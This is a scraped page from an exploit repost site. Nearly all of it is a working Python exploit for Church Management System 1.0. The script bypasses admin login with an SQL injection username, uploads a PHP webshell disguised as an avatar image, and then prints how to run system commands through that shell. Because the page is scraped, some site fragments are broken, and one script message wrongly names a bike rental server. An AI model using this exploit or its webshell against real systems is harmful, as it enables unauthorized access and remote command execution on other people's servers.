Search

SHREATEH Security Hacks Extensions
(https://khalil-shreateh.com/khalil.shtml/)

Church Management System 1.0 SQL Injection Code Execution (/khalil.shtml/it-highlights/latest-vu Ma Ex

Hits

v

C h In

Sy

Date: 21.09.2021
Exploit Author: Janik Wehrli
Vendor Homepage: https://www.sourcecodester.com/ # Exploit Title: Church Management System 1.0 - Authentication Bypass via SQLi + RCE
Date: 21.09.2021
Exploit Author: Janik Wehrli
Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
Version: 1.0
Tested On: Ubuntu ,Windows 10 + XAMPP 7.4
Description: Church Management System (CMS-Website) 1.0 suffers from an Authentication Bypass Vulnerability which gives access to the Admin Account. The Admin Dashboard allows us to upload a PHP webshell by creating a new user with a malicious Avatar Image.

```
import requests, sys
from colorama import Fore, Back, Style
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
F = [Fore.RESET, Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE]
```

```
B = [Back.RESET, Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE]
S = [Style.RESET_ALL, Style.DIM, Style.NORMAL, Style.BRIGHT]
info = S[3] + F[5] + '[' + S[0] + S[3] + '-' + S[3] + F[5] + ']' + S[0] + ' '
err = S[3] + F[2] + '[' + S[0] + S[3] + '!' + S[3] + F[2] + ']' + S[0] + ' '
ok = S[3] + F[3] + '[' + S[0] + S[3] + '+' + S[3] + F[3] + ']' + S[0] + ' '


ASCII_ART = """
_____ _ _ __ __ _ _____ __ __ _____
/ ____| | | | / | | | / ____| / |/ ____|
| | | |__ _ _ _ __ ___| | |__ | / | __ _ _ __ ___ | |_ | | | / | (___
| | | '_ | | | | '__/ __| '_ | |/| |/ _` | '_ ` _ | __| | | | |/| |\___
| |____| | | | |_| | | | (__| | | | | | | (_| | | | | | | |_ | |____| | | |____) |
\_____|_| |_|\__,_|_| \___|_| |_| |_| |_|\__, |_| |_| |_|\__| \_____|_| |_|_____/
__/ |
V.1.0 https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
Exploit by Janik Wehrli

"""

# Set variables
print(ASCII_ART)
SERVER_URL = str(input("Type in your Church Manangement System URL e.g http://192.168.20.20: "))
LOGIN_URL = SERVER_URL + '/church_management/classes/Login.php?f=login'
UPLOAD_URL = SERVER_URL + "/church_management/classes/Users.php?f=save"
PWN_URL = SERVER_URL + "/church_management/uploads/"
USERNAME = "'OR 1=1#"
PASSWORD = "PWNED"
WEBSHELL_NAME = ""

# Uncomment the bottom line to run the exploit through a proxy such as burp
# proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# Create a simple web session with python
s = requests.Session()
# GET request to webserver - Start a session & retrieve a session cookie
get_session = s.get(LOGIN_URL, verify=False)
# Check connection to website & print session cookie to terminal OR die
if get_session.status_code == 200:
print(ok + 'Successfully connected to Bike Rental PHP server & created session.')
print(info + "Session Cookie: " + get_session.headers['Set-Cookie'])
else:
print(err + 'Cannot connect to the server and create a web session.')
sys.exit(-1)


# 1. Bypass Login
# POST data to bypass Authentication via SQL Injection
login_data = {'username': USERNAME, 'password': PASSWORD, 'login': ''}
print(info + "Attempting to Login to Church Management v1.0 the following payload: "+ "username:" + USERNAME + ":" + "password:"+ PASSWORD)
# auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
auth = s.post(url=LOGIN_URL, data=login_data, verify=False, allow_redirects=True)
if auth.status_code == 200:
print(ok, "Success")
else:
print(err, "Something Went Wrong")


# 2. Upload Webshell
```

```
# Content-Disposition: form-data; name="img"; filename="pwn.php"
# Content-Type: application/octet-stream
webshell = {
'img':
(
'pwn.php',
'6 a $2y$10$Nw16tMpX3SyhtPrhBMD1Ku4jntwsRyQOANFs3.Ikv8eXpoQ0RL9PK <?php echo shell_exec($_GET["cmd"]);?> ',
'application/octet-stream',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'firstname': 'test2', 'lastname': 'test2', 'username': 'test2', 'password': 'test2'}
print(info + "Exploiting Church Management v1.0 file upload vulnerability via User Avatar to upload a PHP webshell")
# upload_webshell = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False, proxies=proxies)
upload_webshell = s.post(url=UPLOAD_URL, files=webshell, data=fdata, verify=False)

if upload_webshell.status_code == 200:
print(ok, "Success")
else:
print(err, "Something Went Wrong")

uploaded_site = requests.get(PWN_URL)
soup = BeautifulSoup(uploaded_site.content, 'html.parser')
for a in soup.find_all('a', href=True):
b = a['href']
if "php" in b:
WEBSHELL_NAME = b
break

if upload_webshell.status_code == 200:
print(ok, "Your Webshell is located under: "+ PWN_URL + WEBSHELL_NAME)
print(ok, "Execute Commands via the GET Parameter 'cmd' for e.g " + PWN_URL + WEBSHELL_NAME+"?cmd=whoami")
else:
print(err, "Something went wrong")

dates = soup.findAll("href")
```

PREV (/KHALIL.SHTML/IT-HIGHLIGHTS/LATEST-VULNERABILITIES-AND-EXPLOITS/38376-OPENCATS-0.9.4-XML-INJECTION.HTML)

NEXT (/KHALIL.SHTML/IT-HIGHLIGHTS/LATEST-VULNERABILITIES-AND-EXPLOITS/38372-BACKDOOR.WIN32.HUPIGON.ASQX-UNAUTHENTICATED-OPEN-PROXY.HTML)

K HERE

ay, Facebook Giveaway, Youtube and Facebook Free apps and more...CLICK HERE